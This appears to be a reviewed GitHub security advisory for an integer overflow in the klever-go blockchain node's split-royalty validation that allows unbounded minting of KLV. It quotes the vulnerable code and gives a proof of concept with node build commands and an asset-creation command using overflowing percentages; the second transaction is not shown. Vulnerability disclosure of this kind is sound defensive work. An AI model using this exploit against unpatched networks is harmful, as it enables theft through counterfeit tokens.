Advisory

GHSA-cgc5-v3f2-8m2v

Also known as: CVE-2026-54755, GO-2026-6310

Summary

Klever: Integer overflow in split-royalty validation enables unbounded minting of KLV (native token)

Details

Summary

The per-entry percentages of a KDA asset's split royalties are validated by summing
them into a `uint32` accumulator and checking the *sum* against HundredPercent (10000),
with no upper bound on each individual entry. Two split entries whose percentages sum to
just over 2^32 wrap around below 10000 and pass validation, while each stored value
remains astronomically large (e.g. 0x80000000 = 2,147,483,648 ≈ 21,474,836%).

At royalty payout, each split recipient is credited pool × hugePct / 10000 — far more than
the royalty pool — and the resulting negative remainder is silently discarded
(if royaltiesToPay <= 0 { return Ok }). Because fixed royalties (and marketplace/ITO
royalties) are denominated in KLV, an attacker mints KLV (the native token) out of thin
air, on demand, by transferring or selling their own throwaway asset.

This is independent of, and not mitigated by, the existing FixMarketBuyOverflow guard.

Affected component

  • Repository: klever-io/klever-go (node).
  • Validation: core/process/kda/assetHelper.go, core/kapp/kda/create.go, core/kapp/kda/trigger.go, core/kapp/builtInFunctions/utils.go.
  • Payout (mint sites): core/kapp/accounts/accounts.go (transfer), core/kapp/market/market.go (marketplace buy), core/kapp/ito/ito.go (ITO buy).
  • Not gated by any fork flag — exploitable on current mainnet.

---

Root cause

1. Per-entry split percentages are decoded as raw uint32 with no bound
core/kapp/builtInFunctions/utils.go — decodeSplitInfo (≈L292):

func decodeSplitInfo(buf *bytes.Reader, splitInfo *transaction.RoyaltySplitInfo) error {
	fields := []*uint32{
		&splitInfo.PercentTransferPercentage,
		&splitInfo.PercentTransferFixed,
		&splitInfo.PercentMarketPercentage,
		&splitInfo.PercentMarketFixed,
		&splitInfo.PercentITOPercentage,
		&splitInfo.PercentITOFixed,
	}
	for _, field := range fields {
		if err := binary.Read(buf, binary.BigEndian, field); err != nil { // no <= HundredPercent check
			return err
		}
	}
	return nil
}

2. Validation sums into a uint32 and only checks the sum
core/kapp/kda/create.go (fungible path, ≈L351-382; NFT path ≈L228-264):

sumSplitTransferPercentage := uint32(0)   // L351  <-- uint32 accumulator
sumSplitTransferFixed       := uint32(0)
// ...
for key, value := range tc.GetRoyalties().GetSplitRoyalties() {
	// ... no per-entry bound ...
	sumSplitTransferPercentage += value.GetPercentTransferPercentage() // can overflow uint32
	sumSplitTransferFixed       += value.GetPercentTransferFixed()
	// ...
}
if !kda.CheckValid100Params(sumSplitTransferPercentage, sumSplitTransferFixed, /*...*/) { // sees the WRAPPED sum
	return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue
}

core/process/kda/assetHelper.go (L101):

func CheckValid100Params(values ...uint32) bool {
	for _, value := range values {
		if value > core.HundredPercent { // HundredPercent = 10000
			return false
		}
	}
	return true
}

The per-entry > HundredPercent check that exists for TransferPercentage tiers
(create.go:398, trigger.go:780) does not apply to these SplitRoyalties fields.

0x80000000 + 0x80000000 = 0x1_0000_0000 → wraps to `0` in uint32 → CheckValid100Params(0) is true.

3. Payout over-pays and silently drops the negative remainder (mint), in KLV
core/kapp/accounts/accounts.go — processFixedRoyaltiesTransfer (L316-382):

err := acntSrc.SubFromBalance(kda.Royalties.TransferFixed, kdautils.KLVIdentifier, ...) // L332: sender pays a tiny KLV fixed royalty
// ...
royaltiesFixedToPay := kda.Royalties.TransferFixed
for key, value := range kda.Royalties.SplitRoyalties {
	// L343: split paid in KLV using the overflowed PercentTransferFixed
	status, err := a.computeSplitRoyalties(key, kdautils.KLVIdentifier, kapps.KDAData_Fungible,
		acntSrc, kda.Royalties.TransferFixed, int64(value.PercentTransferFixed), &royaltiesFixedToPay)
	// ...
}
if royaltiesFixedToPay <= 0 {   // L349: negative remainder silently dropped (no error)
	return transaction.Transaction_Ok, nil
}

computeSplitRoyalties (L276-314):

splitToPay, err := tools.ComputePercentageI64(value, percentage, a.forkController.EnableSmartContracts()) // L287
*royaltiesToPay -= splitToPay                                                                              // L291
err = splitRoyalty.AddToBalance(splitToPay, assetID, ...)                                                  // L293: credit, no matching debit

tools/converters.go — ComputePercentageI64 (L102): for a small pool, pool * 0x80000000 / 10000
fits in int64, so no overflow error fires — it simply returns the inflated amount.

Net: sender debited TransferFixed KLV (e.g. 1 KLV); each split recipient credited
TransferFixed × 0x80000000 / 10000 KLV. KLV minted = (sum of split credits) − TransferFixed.

The same pattern exists in core/kapp/market/market.go (computeRoyaltiesAmount L490+ in the
sale currencyID; computeRoyaltiesFixedDeposit L443+ in KLV — silent skips at L456/L503) and
core/kapp/ito/ito.go (L429/L499). The shipped FixMarketBuyOverflow guard only checks the
top-level marketOwnerAmount < 0, not these intra-royalty split over-payments.

---

Proof of Concept (reproduce from scratch)

A single-node local network is sufficient. Full environment setup is in the companion runbook
REPRODUCE-split-royalty-overflow.md; the exploit itself is two transactions.

Prereqs (build + run a single node)

export REPO=/path/to/klever-go && cd "$REPO"
go build -o /tmp/klnode ./cmd/node
go build -o /tmp/kloperator ./cmd/operator
go build -o /tmp/klkeygen ./cmd/keygenerator
# Generate a validator key, point config/node/nodesSetup.json + genesis.json at it and at a
# funded wallet (klvDenomination 6), then:
nohup /tmp/klnode --config=./config/node/config.yaml --genesis-file=./config/node/genesis.json \
  --nodes-setup-file=./config/node/nodesSetup.json --validator-key-pem-file=./config/node/validatorKey.pem \
  --rest-api-interface=127.0.0.1:8080 --working-directory=/tmp/klnet-db --log-level='*:INFO' \
  > /tmp/klnode.log 2>&1 < /dev/null & disown

Step 1 — create a malicious asset (your own throwaway token)
The operator stores percentages as uint32(input × 100), so 21474836.48 → 2147483648 = 0x80000000.
Two entries make the uint32 sum wrap to 0.

R1=<any valid klv1 address>   # clean recipient, will receive minted KLV
R2=<any valid klv1 address>   # second recipient
/tmp/kloperator kda create 0 \
  --name="KlvPrinter" --ticker=KPRT2 --precision=6 --initialSupply=1000000 --canMint \
  --royaltiesAddress=<owner> \
  --royaltiesTransferFixed=1 \
  --splitRoyalties="{\"address\":\"$R1\",\"percentTransferFixed\":21474836.48}" \
  --splitRoyalties="{\"address\":\"$R2\",\"percentTransferFixed\":21474836.48}" \
  -s --await

Expected: resultCode: Ok. The node stores percentTransferFixed: 2147483648 for both
recipients (a correct chain would reject this).

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2026-08-28 16:25 UTC
Modified
2026-09-02 19:55 UTC

Affected packages and fixes

github.com/klever-io/klever-go

Go · All systems

Affected

  • introduced 0, fixed 1.7.19 (semver)

Fixed versions

1.7.19

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

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Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences